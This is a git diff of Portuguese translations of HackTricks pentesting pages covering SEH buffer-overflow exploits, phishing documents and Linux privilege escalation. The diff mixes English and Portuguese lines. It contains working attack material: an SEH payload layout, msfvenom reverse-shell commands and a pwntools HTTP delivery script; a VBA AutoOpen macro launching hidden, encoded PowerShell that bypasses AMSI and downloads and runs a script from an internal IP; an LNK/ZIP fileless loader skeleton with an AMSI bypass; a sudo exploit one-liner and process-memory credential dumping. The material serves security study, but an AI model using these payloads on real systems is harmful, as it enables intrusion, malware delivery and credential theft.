a cadeia SEH foi sobrescrita (por exemplo, em x32dbg/x64dbg, verifique a SEH view). +- Envie um padrão cíclico como os dados de overflow e calcule os offsets dos dois dwords que caem em nSEH e SEH. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,16 +33,16 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Valide posicionando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível. +Valide colocando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível. --- ## Escolhendo um POP POP RET (SEH gadget) -Você precisa de uma sequência POP POP RET para desempilhar o quadro SEH e retornar para seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e idealmente sem ASLR: +Você precisa de uma sequência POP POP RET para desempilhar o frame SEH e retornar para os seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e, idealmente, sem ASLR: -- Mona (Immunity/WinDbg): `!mona modules` depois `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar gadgets POP POP RET e o status do SafeSEH. +- Mona (Immunity/WinDbg): `!mona modules` então `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar POP POP RET gadgets e o status do SafeSEH. Escolha um endereço que não contenha badchars quando escrito little-endian (por exemplo, `p32(0x004094D8)`). Prefira gadgets dentro do binário vulnerável se as proteções permitirem. @@ -50,9 +50,9 @@ Escolha um endereço que não contenha badchars quando escrito little-endian (po ## Técnica de jump-back (short + near jmp) -nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (`EB xx`) mais padding. Se você precisar saltar centenas de bytes para trás para alcançar o início do seu buffer, use um near jump de 5 bytes colocado imediatamente antes de nSEH e encadeie para ele com um short jump a partir de nSEH. +nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (`EB xx`) mais padding. Se você precisar saltar centenas de bytes para alcançar o início do seu buffer, use um near jump de 5 bytes colocado logo antes do nSEH e encadeie para ele com um short jump a partir do nSEH. -Com nasmshell: +With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Ideia de layout para um payload de 1000 bytes com nSEH em offset 660: +Ideia de layout para um payload de 1000 bytes com nSEH no offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,40 +71,38 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Fluxo de execução: -- Ocorre uma exceção, o dispatcher usa o SEH sobrescrito. -- POP POP RET desempilha para o nosso nSEH. -- nSEH executa `jmp short -8` para o near jump de 5 bytes. -- O near jump aterrissa no início do nosso buffer onde o NOP sled + shellcode residem. +Execution flow: +- Ocorre uma exceção; o dispatcher usa o SEH sobrescrito. +- POP POP RET desempilha até o nosso nSEH. +- nSEH executa `jmp short -8` no salto near de 5 bytes. +- Near jump aterrissa no início do nosso buffer, onde residem o NOP sled + shellcode. --- -## Caracteres problemáticos +## Bad characters -Construa uma badchar string completa e compare a memória da stack após o crash, removendo bytes que são corrompidos pelo parser alvo. Para HTTP-based overflows, `\x00\x0a\x0d` quase sempre são excluídos. +Construa uma badchar string completa e compare a memória da pilha após o crash, removendo bytes que são corrompidos pelo parser alvo. Para overflows baseados em HTTP, `\x00\x0a\x0d` são quase sempre excluídos. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Geração de Shellcode (x86) +## Shellcode generation (x86) -Use o msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variação no ponto de aterrissagem. +Use msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variações na posição de aterrissagem. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Se gerado dinamicamente, o formato hex é conveniente para incorporar e unhex em Python: +Se gerado dinamicamente, o formato hex é conveniente para embutir e converter de hex em Python: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` ---- +## Entregando via HTTP (precise CRLF + Content-Length) -## Entrega via HTTP (CRLF preciso + Content-Length) - -Quando o vetor vulnerável for o corpo de uma requisição HTTP, construa um raw request com CRLFs exatos e Content-Length para que o servidor leia todo o corpo que transborda. +Quando o vetor vulnerável é o corpo de uma HTTP request, crie uma raw request com CRLFs e Content-Length exatos para que o servidor leia todo o corpo que está transbordando. ```python # pip install pwntools from pwn import remote @@ -125,23 +123,23 @@ p.close() ``` --- -## Ferramentas +## Tooling -- x32dbg/x64dbg para observar a cadeia SEH e fazer triagem do crash. -- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: `ERC --SEH`. +- x32dbg/x64dbg para observar a cadeia SEH e fazer a triagem do crash. +- ERC.Xdbg (plugin do x64dbg) para enumerar gadgets SEH: `ERC --SEH`. - Mona como alternativa: `!mona modules`, `!mona seh`. - nasmshell para montar short/near jumps e copiar opcodes brutos. - pwntools para criar payloads de rede precisos. --- -## Notas e advertências +## Notes and caveats - Aplica-se apenas a processos x86. x64 usa um esquema SEH diferente e exploração baseada em SEH geralmente não é viável. -- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, localize um módulo não protegido carregado no processo. -- Service watchdogs que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo de exploits. +- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, encontre um módulo sem proteção carregado no processo. +- Watchdogs de serviço que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo do exploit. -## Referências +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 5ca50a446..f1b953db0 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,40 @@ -# Arquivos e Documentos de Phishing +# Arquivos & Documentos de Phishing {{#include ../../banners/hacktricks-training.md}} ## Documentos do Office -Microsoft Word realiza validação dos dados do arquivo antes de abri-lo. A validação é feita através da identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante essa identificação da estrutura de dados, o arquivo analisado não será aberto. +Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura dos dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura dos dados, o arquivo sendo analisado não será aberto. -Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo mudando a extensão e ainda assim manter sua capacidade de executar macros.\ +Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter suas capacidades de execução de macros.\ Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\ -Os mesmos internos e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.). +Os mesmos internos e mecanismos se aplicam a todo o software do Microsoft Office Suite (Excel, PowerPoint etc.). Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office: ```bash assoc | findstr /i "word excel powerp" ``` -Arquivos DOCX que referenciam um template remoto (Arquivo –Opções –Suplementos –Gerenciar: Modelos –Ir) que inclui macros também podem “executar” macros. +Arquivos DOCX que fazem referência a um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros podem “executar” macros também. ### Carregamento de Imagem Externa -Vá para: _Inserir --> Partes Rápidas --> Campo_\ -_**Categorias**: Links and References, **Nomes do campo**: includePicture, e **Nome do arquivo ou URL**:_ http:///whatever +Ir para: _Insert --> Quick Parts --> Field_\ +_**Categorias**: Links e Referências, **Nomes de campo**: includePicture, e **Nome do arquivo ou URL**:_ http:///whatever ![](<../../images/image (155).png>) -### Backdoor de Macros +### Macros Backdoor É possível usar macros para executar código arbitrário a partir do documento. -#### Funções de carregamento automático +#### Funções Autoload -Quanto mais comuns, mais provável que o AV as detecte. +Quanto mais comuns forem, maior a probabilidade de o AV detectá-las. - AutoOpen() - Document_Open() -#### Exemplos de código de macros +#### Exemplos de Código de Macros ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Manually remove metadata +#### Remover metadados manualmente -Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**. +Vá em **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**. -#### Doc Extension +#### Extensão do Documento -Quando terminar, selecione o dropdown **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ -Faça isso porque você **não pode salvar macros dentro de um `.docx`** e existe um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam totalmente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. +When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ +Faça isso porque você não pode salvar macro's dentro de um **`.docx`** e há um **stigma** **around** a extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. -#### Malicious Macros Generators +#### Geradores de Macros Maliciosos - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## Arquivos HTA -An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. +Um HTA é um programa do Windows que **combina HTML e linguagens de script (como VBScript e JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um browser. -An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. +Um HTA é executado usando **`mshta.exe`**, que normalmente é **instalado** junto com o **Internet Explorer**, tornando **`mshta` dependente do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados. ```html <--! Basic HTA Execution --> @@ -138,9 +138,9 @@ var_func self.close ``` -## Forcing NTLM Authentication +## Forçando Autenticação NTLM -Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.** +Existem várias maneiras de **forçar NTLM authentication "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **acionar** uma **autenticação** apenas ao **abrir a pasta.** **Confira essas ideias e mais nas páginas a seguir:** @@ -156,22 +156,22 @@ Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por ### NTLM Relay -Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também **realizar NTLM relay attacks**: +Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também realizar NTLM Relay attacks: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa totalmente em memória. +Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader do PowerShell real é armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk recorta e o executa totalmente em memória. Fluxo típico implementado pelo one-liner PowerShell do .lnk: -1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do current working directory. -2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o payload PowerShell embutido. +1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do diretório de trabalho atual. +2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido. 3) Copiar o ZIP para %ProgramData%, extrair lá, e abrir o .docx de isca para parecer legítimo. -4) Contornar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Desofuscar a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la em memória. +4) Bypassar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscar a próxima etapa (por ex., remover todos os caracteres #) e executá-la em memória. Exemplo de esqueleto PowerShell para extrair e executar a etapa embutida: ```powershell @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Notas -- A entrega frequentemente abusa de subdomínios reputáveis de PaaS (por exemplo, *.herokuapp.com) e pode restringir payloads (servir ZIPs benignos com base no IP/UA). -- A próxima etapa frequentemente decifra base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco. +- A entrega frequentemente abusa de subdomínios PaaS reputados (por exemplo, *.herokuapp.com) e pode filtrar payloads (servir ZIPs benignos com base em IP/UA). +- A etapa seguinte frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco. Persistência usada na mesma cadeia -- COM TypeLib hijacking do Microsoft Web Browser control de modo que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui: +- COM TypeLib hijacking do Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore re-execute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo. -- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca. -- Alteração do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Threads de negócio de longa duração terminando com links hospedados sob domínios PaaS confiáveis. +- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) acrescentada aos dados do arquivo. +- .lnk que enumera pastas parent/user para localizar o ZIP e abre um documento de isca. +- Manipulação do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Threads de negócios de longa duração que terminam com links hospedados em domínios PaaS confiáveis. ## Referências diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b2b446c6b..1efc4d578 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,15 +6,15 @@ ### Informações do SO -Vamos começar a obter informações sobre o SO em execução +Vamos começar a obter algum conhecimento sobre o sistema operacional em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`** pode ser capaz de sequestrar algumas bibliotecas ou binários: +Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack some libraries or binaries: ```bash echo $PATH ``` @@ -32,20 +32,20 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Você pode encontrar uma boa lista de kernels vulneráveis e alguns **compiled exploits** prontos aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar exploits do kernel são: +Ferramentas que podem ajudar a procurar kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, apenas verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (executar IN victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit do kernel e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versão do Sudo +### Sudo versão Com base nas versões vulneráveis do sudo que aparecem em: ```bash @@ -69,13 +69,13 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -De @sickrov +Por @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg verificação de assinatura falhou -Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln pode ser explorada +Confira **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container, pode tentar escapar dele: +Se você estiver dentro de um docker container you can try to escape from it: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Unidades -Verifique **o que está montado e o que não está**, onde e por que. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas +Verifique **o que está mounted e unmounted**, onde e por quê. Se algo estiver unmounted, você pode tentar montá-lo e verificar por informações privadas. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,59 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumerar binários úteis +Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios…\ +Verifique a **versão dos pacotes e serviços instalados**. Pode haver uma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalating privileges…\ Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tem acesso SSH à máquina, também pode usar **openVAS** para verificar software desatualizado e vulnerável instalado na máquina. +Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se existe software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muita informação que na maioria das vezes será inútil; por isso, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos vão mostrar muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado como root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado pelo root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique a possível [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` na linha de comando do processo.\ Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. +Sempre verifique se há [**electron/cef/chromium debuggers** em execução — você poderia abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ +Além disso **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. -### Monitoramento de processos +### Process monitoring -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que são executados frequentemente ou quando um conjunto de requisitos é atendido. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é atendido. -### Memória de processos +### Process memory -Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ -Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários; portanto, isso normalmente é mais útil quando você já é root e quer descobrir mais credenciais.\ +Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ +Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários, portanto isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] -> Observe que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam a um usuário sem privilégios. +> Note que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam ao seu usuário sem privilégios. > > O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: apenas o administrador pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessária uma reinicialização para habilitar o ptrace novamente. +> - **kernel.yama.ptrace_scope = 2**: apenas admin pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário um reboot para habilitar ptrace novamente. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo), você pode obter o Heap e procurar por credenciais dentro dele. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e procurar dentro dele por credenciais. ```bash gdb -p (gdb) info proc mappings @@ -214,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado ID de processo, **maps mostram como a memória é mapeada no espaço de endereços virtual desse processo**; também mostram as **permissões de cada região mapeada**. O **mem** pseudo-arquivo **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **posicionar-se no arquivo mem (seek) e despejar todas as regiões legíveis** em um arquivo. +Para um determinado PID, os **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. ```bash procdump() ( @@ -230,11 +232,11 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Normalmente, `/dev/mem` só é legível por **root** e pelo grupo **kmem**. +Tipicamente, `/dev/mem` só pode ser lido por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump para linux ProcDump é uma recriação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` @@ -265,10 +267,10 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para dumpar a memória de um processo você pode usar: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode manualmente remover os requisitos de root e dumpar o processo que pertence a você +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e dumpar o processo que pertence a você - Script A.5 from 